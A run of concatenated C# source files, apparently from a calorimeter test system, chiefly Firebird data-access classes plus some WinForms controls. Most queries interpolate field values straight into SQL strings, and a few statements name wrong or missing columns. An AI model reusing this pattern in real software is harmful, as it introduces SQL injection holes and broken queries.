PowerSource = Convert.ToString(row["powersource"]);
State = (ETestState)Convert.ToInt32(row["state"]);
}
}
public class DataSheetDataSet : UlDataSet
{
public DataSheetDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public Int64 RecNo { get; set; }
public Int64 DataBookNo { get; set; }
public string SheetName { get; set; }
public bool Use { get; set; }
public string IDTemp { get; set; }
public string IDState { get; set; }
public string ODTemp { get; set; }
public string ODState { get; set; }
public string NozzleName { get; set; }
public string NozzleState { get; set; }
public void Select()
{
SetTrans(null);
command.CommandText = " select * from TB_DATASHEET ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Select(Int64 dataBookNo)
{
SetTrans(null);
command.CommandText = $" select * from TB_DATASHEET where fk_databookno={dataBookNo} ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql = $" insert into TB_DATASHEET values "
+ $" ({RecNo}, {DataBookNo}, '{SheetName}', {((Use==false) ? 0 : 1)}, '{IDTemp}', "
+ $" '{IDState}', '{ODTemp}', '{ODState}', '{NozzleName}', '{NozzleState}') ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
string sql = $" update TB_DATASHEET set fk_databookno={DataBookNo}, "
+ $" sheetname='{SheetName}', use={((Use == false) ? 0 : 1)}, "
+ $" idtemp='{IDTemp}', idstate='{IDState}', odtemp='{ODTemp}', "
+ $" odstate='{ODState}', nozzlename='{NozzleName}', nozzlestate='{NozzleState}' "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void UpdateTemp(FbTransaction trans = null)
{
string sql = $" update TB_DATASHEET set "
+ $" idtemp='{IDTemp}', odtemp='{ODTemp}' "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $" delete from TB_DATASHEET where fk_databookno={DataBookNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
DataBookNo = 0;
SheetName = "";
Use = false;
IDTemp = "";
IDState = "";
ODTemp = "";
ODState = "";
NozzleName = "";
NozzleState = "";
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt64(row["pk_recno"]);
DataBookNo = Convert.ToInt64(row["fk_databookno"]);
SheetName = Convert.ToString(row["sheetname"]);
Use = (Convert.ToInt32(row["use"]) == 0) ? false : true;
IDTemp = Convert.ToString(row["idtemp"]);
IDState = Convert.ToString(row["idstate"]);
ODTemp = Convert.ToString(row["odtemp"]);
ODState = Convert.ToString(row["odstate"]);
NozzleName = Convert.ToString(row["nozzlename"]);
NozzleState = Convert.ToString(row["nozzlestate"]);
}
}
public class DataValueUnitDataSet : UlDataSet
{
public DataValueUnitDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public Int64 RecNo { get; set; }
public Int64 DataSheetNo { get; set; }
public string ValueName { get; set; }
public int UnitType { get; set; }
public int UnitFrom { get; set; }
public int UnitTo { get; set; }
public string Format { get; set; }
public void Select(Int64 sheetNo)
{
SetTrans(null);
command.CommandText = $" select * from TB_DATAVALUEUNIT where fk_datasheetno={sheetNo} ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql = " insert into TB_DATAVALUEUNIT values "
+ $" ({RecNo}, {DataSheetNo}, '{ValueName}', {UnitType}, {UnitFrom}, {UnitTo}, '{Format}') ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
}
public void Delete(FbTransaction trans = null)
{
string sql = $" delete from TB_DATAVALUEUNIT where fk_datasheetno={DataSheetNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
DataSheetNo = 0;
ValueName = "";
UnitType = 0;
UnitFrom = 0;
UnitTo = 0;
Format = "";
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt64(row["pk_recno"]);
DataSheetNo = Convert.ToInt64(row["fk_datasheetno"]);
ValueName = Convert.ToString(row["valuename"]);
UnitType = Convert.ToInt32(row["unittype"]);
UnitFrom = Convert.ToInt32(row["unitfrom"]);
UnitTo = Convert.ToInt32(row["unitto"]);
Format = Convert.ToString(row["format"]);
}
}
public class DataValueDataSet : UlDataSet
{
public DataValueDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public Int64 RecNo { get; set; }
public Int64 DataValueUnitNo { get; set; }
public int DataNo { get; set; }
public float DataValue { get; set; }
public void Select(Int64 valueUnitNo)
{
SetTrans(null);
command.CommandText = $" select * from TB_DATAVALUE where fk_datavalueunitno={valueUnitNo} ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
float dataValue = (float.IsNaN(DataValue) == true) ? 0.0f : DataValue;
string sql = $" insert into TB_DATAVALUE values "
+ $" ({RecNo}, {DataValueUnitNo}, {DataNo}, {dataValue}) ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
string sql = $" update TB_DATAVALUE set "
+ $" fk_datavalueunitno={DataValueUnitNo}, {DataNo}, datavalue={DataValue} "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $" delete from TB_DATAVALUE where fk_sheetno={DataValueUnitNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
DataValueUnitNo = 0;
DataNo = 0;
DataValue = 0;
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt64(row["pk_recno"]);
DataValueUnitNo = Convert.ToInt64(row["fk_datavalueunitno"]);
DataNo = Convert.ToInt32(row["datano"]);
DataValue = Convert.ToSingle(row["datavalue"]);
}
}
public class DataRawUnitDataSet : UlDataSet
{
public DataRawUnitDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public Int64 RecNo { get; set; }
public Int64 DataBookNo { get; set; }
public string DataName { get; set; }
public int UnitType { get; set; }
public int UnitFrom { get; set; }
public int UnitTo { get; set; }
public void Select(Int64 bookNo)
{
SetTrans(null);
command.CommandText = $" select * from TB_DATARAWUNIT where fk_databookno={bookNo} ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void GetDataRawUnit(Int64 bookNo, ConditionMethod method)
{
SetTrans(null);
command.CommandText = $" select distinct unittype, unitto from TB_DATARAWUNIT where fk_databookno={bookNo} ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql = " insert into TB_DATARAWUNIT values "
+ $" ({RecNo}, {DataBookNo}, '{DataName}', {UnitType}, {UnitFrom}, {UnitTo}) ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
}
public void Delete(FbTransaction trans = null)
{
string sql = $" delete from TB_DATARAWUNIT where fk_databookno={DataBookNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
DataBookNo = 0;
DataName = "";
UnitType = 0;
UnitFrom = 0;
UnitTo = 0;
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt64(row["pk_recno"]);
DataBookNo = Convert.ToInt64(row["fk_databookno"]);
DataName = Convert.ToString(row["DataName"]);
UnitType = Convert.ToInt32(row["unittype"]);
UnitFrom = Convert.ToInt32(row["unitfrom"]);
UnitTo = Convert.ToInt32(row["unitto"]);
}
}
public class DataRawDataSet : UlDataSet
{
public DataRawDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public Int64 RecNo { get; set; }
public Int64 DataRawUnitNo { get; set; }
public string RegTime { get; set; }
public int ScanTime { get; set; }
public float[] DataRaw { get; set; }
public void Select()
{
SetTrans(null);
command.CommandText = " select * from TB_DATARAW ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Select(Int64 unitNo)
{
SetTrans(null);
command.CommandText = $" select * from TB_DATARAW where fk_datarawunitno={unitNo} ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql = " insert into TB_DATARAW values "
+ $" ({RecNo}, {DataRawUnitNo}, '{RegTime}', {ScanTime}, @dataraw) ";
byte[] byData = new byte[DataRaw.Length * sizeof(float)];
Buffer.BlockCopy(DataRaw, 0, byData, 0, byData.Length);
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.Parameters.Clear();
command.Parameters.Add("@dataraw", FbDbType.Binary);
command.Parameters["@dataraw"].Value = byData;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
string sql = $" update TB_DATARAW set "
+ $" fk_databookno={DataRawUnitNo}, regtime='{RegTime}', "
+ $" scantime={ScanTime}, dataraw=@dataraw "
+ $" where pk_recno={RecNo} ";
byte[] byData = new byte[DataRaw.Length * sizeof(float)];
Buffer.BlockCopy(DataRaw, 0, byData, 0, byData.Length);
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.Parameters.Clear();
command.Parameters.Add("@dataraw", FbDbType.Binary);
command.Parameters["@dataraw"].Value = byData;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $" delete from TB_DATARAW where fk_datarawunitno={DataRawUnitNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
DataRawUnitNo = 0;
RegTime = "";
ScanTime = 1;
DataRaw = null;
}
}
public void Fetch(DataRow row)
{
byte[] byData;
RecNo = Convert.ToInt64(row["pk_recno"]);
DataRawUnitNo = Convert.ToInt64(row["fk_datarawunitno"]);
RegTime = Convert.ToString(row["regtime"]);
ScanTime = Convert.ToInt32(row["scantime"]);
byData = (byte[])row["dataraw"];
DataRaw = new float[byData.Length / sizeof(float)];
Buffer.BlockCopy(byData, 0, DataRaw, 0, byData.Length);
}
}
public class XAxisSettingDataSet : UlDataSet
{
public XAxisSettingDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public int RecNo { get; set; }
public string Ip { get; set; }
public int Mode { get; set; }
public int GraphNo { get; set; }
public int Minutes { get; set; }
public void Select()
{
string sql = " select * from TB_XAXISSETTING "
+ $" where ip='{Ip}' and mode={Mode} and graphno={GraphNo} ";
SetTrans(null);
command.CommandText = sql;
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql = " insert into TB_XAXISSETTING values "
+ $" ({RecNo}, '{Ip}', {Mode}, {GraphNo}, {Minutes}) ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.Parameters.Clear();
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
string sql = $" update TB_XAXISSETTING set minutes={Minutes} "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.Parameters.Clear();
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = " delete from TB_XAXISSETTING "
+ $" where ip={Ip} and mode={Mode} and graphno={GraphNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
Ip = "0.0.0.0";
Mode = 0;
GraphNo = 0;
Minutes = 0;
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_recno"]);
Ip = Convert.ToString(row["ip"]);
Mode = Convert.ToInt32(row["mode"]);
GraphNo = Convert.ToInt32(row["graphno"]);
Minutes = Convert.ToInt32(row["minutes"]);
}
}
public class YAxisSettingDataSet : UlDataSet
{
public YAxisSettingDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public int RecNo { get; set; }
public string Ip { get; set; }
public int Mode { get; set; }
public int GraphNo { get; set; }
public bool Checked { get; set; }
public EAxisAlign Align { get; set; }
public string Name { get; set; }
public string Desc { get; set; }
public string Unit { get; set; }
public float VisualMin { get; set; }
public float VisualMax { get; set; }
public float WholeMin { get; set; }
public float WholeMax { get; set; }
public void Select()
{
string sql = " select * from TB_YAXISSETTING "
+ $" where ip='{Ip}' and mode={Mode} and graphno={GraphNo} ";
SetTrans(null);
command.CommandText = sql;
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
int active = (Checked == false) ? 0 : 1;
string sql = " insert into TB_YAXISSETTING values "
+ $" ({RecNo}, '{Ip}', {Mode}, {GraphNo}, {active}, {(int)Align}, '{Name}', "
+ $" '{Desc}', @unit, {VisualMin}, {VisualMax}, {WholeMin}, {WholeMax}) ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.Parameters.Clear();
command.Parameters.Add("@unit", FbDbType.VarChar);
command.Parameters["@unit"].Value = Unit;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
int active = (Checked == false) ? 0 : 1;
string sql = $" update TB_YAXISSETTING set "
+ $" checked={active}, align={(int)Align}, axisname='{Name}', axisdesc='{Desc}', axisunit=@unit, "
+ $" visualmin={VisualMin}, visualmax={VisualMax}, wholemin={WholeMin}, wholemax={WholeMax} "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.Parameters.Clear();
command.Parameters.Add("@unit", FbDbType.VarChar);
command.Parameters["@unit"].Value = Unit;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = " delete from TB_YAXISSETTING "
+ $" where ip={Ip} and mode={Mode} and graphno={GraphNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
Ip = "0.0.0.0";
Mode = 0;
GraphNo = 0;
Checked = false;
Align = EAxisAlign.Left;
Name = "";
Desc = "";
Unit = "";
VisualMin = -100;
VisualMax = 100;
WholeMin = -100;
WholeMax = 100;
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_recno"]);
Ip = Convert.ToString(row["ip"]);
Mode = Convert.ToInt32(row["mode"]);
GraphNo = Convert.ToInt32(row["graphno"]);
Checked = (Convert.ToInt32(row["checked"]) == 0) ? false : true;
Align = (EAxisAlign)Convert.ToInt32(row["align"]);
Name = Convert.ToString(row["axisname"]);
Desc = Convert.ToString(row["axisdesc"]);
Unit = Convert.ToString(row["axisunit"]);
VisualMin = Convert.ToSingle(row["visualmin"]);
VisualMax = Convert.ToSingle(row["visualmax"]);
WholeMin = Convert.ToSingle(row["wholemin"]);
WholeMax = Convert.ToSingle(row["wholemax"]);
}
}
public class SeriesSettingDataSet : UlDataSet
{
public SeriesSettingDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public int RecNo { get; set; }
public string Ip { get; set; }
public int Mode { get; set; }
public int GraphNo { get; set; }
public bool Checked { get; set; }
public Color Color { get; set; }
public string Name { get; set; }
public string UnitType { get; set; }
public void Select()
{
string sql = " select * from TB_SERIESSETTING "
+ $" where ip='{Ip}' and mode={Mode} and graphno={GraphNo} ";
SetTrans(null);
command.CommandText = sql;
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
int active = (Checked == false) ? 0 : 1;
string sql = " insert into TB_SERIESSETTING values "
+ $" ({RecNo}, '{Ip}', {Mode}, {GraphNo}, {active}, {Color.ToArgb()}, '{Name}', '{UnitType}') ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
int active = (Checked == false) ? 0 : 1;
string sql = $" update TB_SERIESSETTING set "
+ $" ip='{Ip}', mode={Mode}, graphno={GraphNo}, checked={active}, "
+ $" color={Color.ToArgb()}, seriesname='{Name}', unittype='{UnitType}' "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = " delete from TB_SERIESSETTING "
+ $" where ip='{Ip}' and mode={Mode} and graphno={GraphNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
Ip = "0.0.0.0";
Mode = 0;
GraphNo = 0;
Checked = false;
Color = Color.White;
Name = "";
UnitType = "";
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_recno"]);
Ip = Convert.ToString(row["ip"]);
Mode = Convert.ToInt32(row["mode"]);
GraphNo = Convert.ToInt32(row["graphno"]);
Checked = (Convert.ToInt32(row["checked"]) == 0) ? false : true;
Color = Color.FromArgb(Convert.ToInt32(row["color"]));
Name = Convert.ToString(row["seriesname"]);
UnitType = Convert.ToString(row["unittype"]);
}
}
public class DataBookCondition
{
public bool TimeUsed { get; set; }
public DateTime FromTime { get; set; }
public DateTime ToTime { get; set; }
public int Line { get; set; }
public int State { get; set; }
public DataBookCondition()
{
Reset();
}
public void Reset()
{
TimeUsed = false;
FromTime = DateTime.Now;
ToTime = DateTime.Now;
Line = 0;
State = 0;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.Utils;
using Ulee.Controls;
namespace Hnc.Calorimeter.Server
{
public partial class CtrlViewClient : UlUserControlEng
{
public CtrlViewClient()
{
InitializeComponent();
Initialize();
}
private void Initialize()
{
clientGrid.DataSource = Resource.Server.ClientList;
clientGridView.Appearance.EvenRow.BackColor = Color.FromArgb(244, 244, 236);
clientGridView.OptionsView.EnableAppearanceEvenRow = true;
Resource.Server.Listener.ChangedClients += InvalidGrid;
}
private void CtrlViewClient_Enter(object sender, EventArgs e)
{
clientGridView.RefreshData();
}
private void InvalidGrid(object sender, EventArgs e)
{
if (this.InvokeRequired == true)
{
EventHandler func = new EventHandler(InvalidGrid);
this.BeginInvoke(func, new object[] { sender, e });
}
else
{
clientGridView.RefreshData();
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraGrid.Views.Grid;
using DevExpress.XtraGrid.Views.Grid.ViewInfo;
using Ulee.Controls;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
public partial class FormYAxesSetting : UlFormEng
{
public FormYAxesSetting(List<YAxisRow> axes, int min=0)
{
InitializeComponent();
orgAxes = axes;
Axes = new List<YAxisRow>();
SetTimeEdit(min);
Initialize();
}
private bool yAxisChecked;
private List<YAxisRow> orgAxes;
public List<YAxisRow> Axes { get; private set; }
public int Time { get { return (int)timeEdit.Value; } }
private void Initialize()
{
NameValue<EAxisAlign>[] axAlignItems = EnumHelper.GetNameValues<EAxisAlign>();
yaAlignLookUp.DataSource = axAlignItems;
yaAlignLookUp.DisplayMember = "Name";
yaAlignLookUp.ValueMember = "Value";
yaAlignLookUp.KeyMember = "Value";
foreach (YAxisRow axis in orgAxes)
{
Axes.Add(new YAxisRow(-1, axis.AxisNo, axis.Checked, axis.Align, axis.Name,
axis.Description, axis.Unit, axis.VisualMin, axis.VisualMax, axis.WholeMin, axis.WholeMax));
}
yAxesGrid.DataSource = Axes;
yAxesGrid.UseDirectXPaint = DefaultBoolean.False;
yAxesGridView.Columns["Checked"].ImageOptions.ImageIndex = 1;
yAxesGridView.Appearance.EvenRow.BackColor = Color.FromArgb(244, 244, 236);
yAxesGridView.OptionsView.EnableAppearanceEvenRow = true;
yAxesGridView.RefreshData();
}
private void defaultButton_Click(object sender, EventArgs e)
{
if (MessageBox.Show("Would you like to set min and max of all Y-Axes to default values?",
Resource.Caption, MessageBoxButtons.YesNo, MessageBoxIcon.Question)
== DialogResult.No)
{
return;
}
foreach (YAxisRow row in Axes)
{
row.WholeMin = -300;
row.WholeMax = 300;
}
yAxesGridView.RefreshData();
}
private void yAxesGridView_CustomDrawColumnHeader(object sender, ColumnHeaderCustomDrawEventArgs e)
{
if (e.Column == null) return;
if (e.Column.FieldName == "Checked")
{
Image image = (yAxisChecked == true) ? imageList.Images[1] : imageList.Images[0];
e.DefaultDraw();
e.Cache.DrawImage(image,
new Rectangle(e.Bounds.X + (e.Bounds.Width - image.Size.Width) / 2,
e.Bounds.Y + (e.Bounds.Height - image.Size.Height) / 2 - 1,
image.Size.Width, image.Size.Height));
e.Handled = true;
}
}
private void SetTimeEdit(int min)
{
bool visible = (min == 0) ? false : true;
timeEdit.Value = min;
timeEdit.Visible = visible;
timeLabel.Visible = visible;
timeUnitLabel.Visible = visible;
}
private void yAxesGridView_MouseDown(object sender, MouseEventArgs e)
{
GridView view = sender as GridView;
GridHitInfo hit = view.CalcHitInfo(e.Location);
if (hit == null) return;
switch (hit.HitTest)
{
case GridHitTest.Column:
if (hit.Column.FieldName == "Checked")
{
yAxisChecked = !yAxisChecked;
SetYAxesCheckColumn(view);
}
break;
}
}
private void SetYAxesCheckColumn(GridView view)
{
if (view.RowCount < 1) return;
view.BeginUpdate();
try
{
view.Columns["Checked"].ImageOptions.ImageIndex = (yAxisChecked == false) ? 0 : 1;
for (int i = 0; i < view.RowCount; i++)
{
(view.GetRow(i) as YAxisRow).Checked = yAxisChecked;
}
}
finally
{
view.EndUpdate();
}
}
public int GetYAxesCheckedCount()
{
int count = 0;
foreach (YAxisRow row in Axes)
{
if (row.Checked == true) count++;
}
return count;
}
public void RefreshGrid()
{
yAxesGridView.RefreshData();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlDeviceRecorder : UlUserControlEng
{
public List<UlPanel> Views { get; private set; }
public CtrlDeviceRecorder()
{
InitializeComponent();
Initialize();
}
private void Initialize()
{
Views = new List<UlPanel>();
Views.Add(view1Panel);
Views.Add(view2Panel);
Views.Add(view3Panel);
Views.Add(view4Panel);
for (int i = 0; i < Resource.Client.Devices.Recorder.Rows.Count; i++)
{
Views[i].Controls.Add(new CtrlRecorderView(
Resource.Client.Devices.Recorder.Rows[i].Name,
Resource.Client.Devices.Recorder.Rows[i].Values));
}
}
public override void InvalidControl(object sender, EventArgs e)
{
if (this.InvokeRequired == true)
{
EventHandler func = new EventHandler(InvalidControl);
this.BeginInvoke(func, new object[] { sender, e });
}
else
{
for (int i = 0; i < Resource.Client.Devices.Recorder.Rows.Count; i++)
{
(Views[i].Controls[0] as CtrlRecorderView).RefreshMeter();
}
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraGrid.Columns;
using DevExpress.XtraGrid.Views.BandedGrid;
using DevExpress.XtraGrid.Views.Base;
using DevExpress.XtraGrid.Views.Grid;
using Ulee.Controls;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlConfigSchedule : UlUserControlEng
{
public CtrlConfigSchedule()
{
InitializeComponent();
Initialize();
}
private EDataSetMode mode;
private GridBookmark bookmark;
private CalorimeterConfigDatabase db;
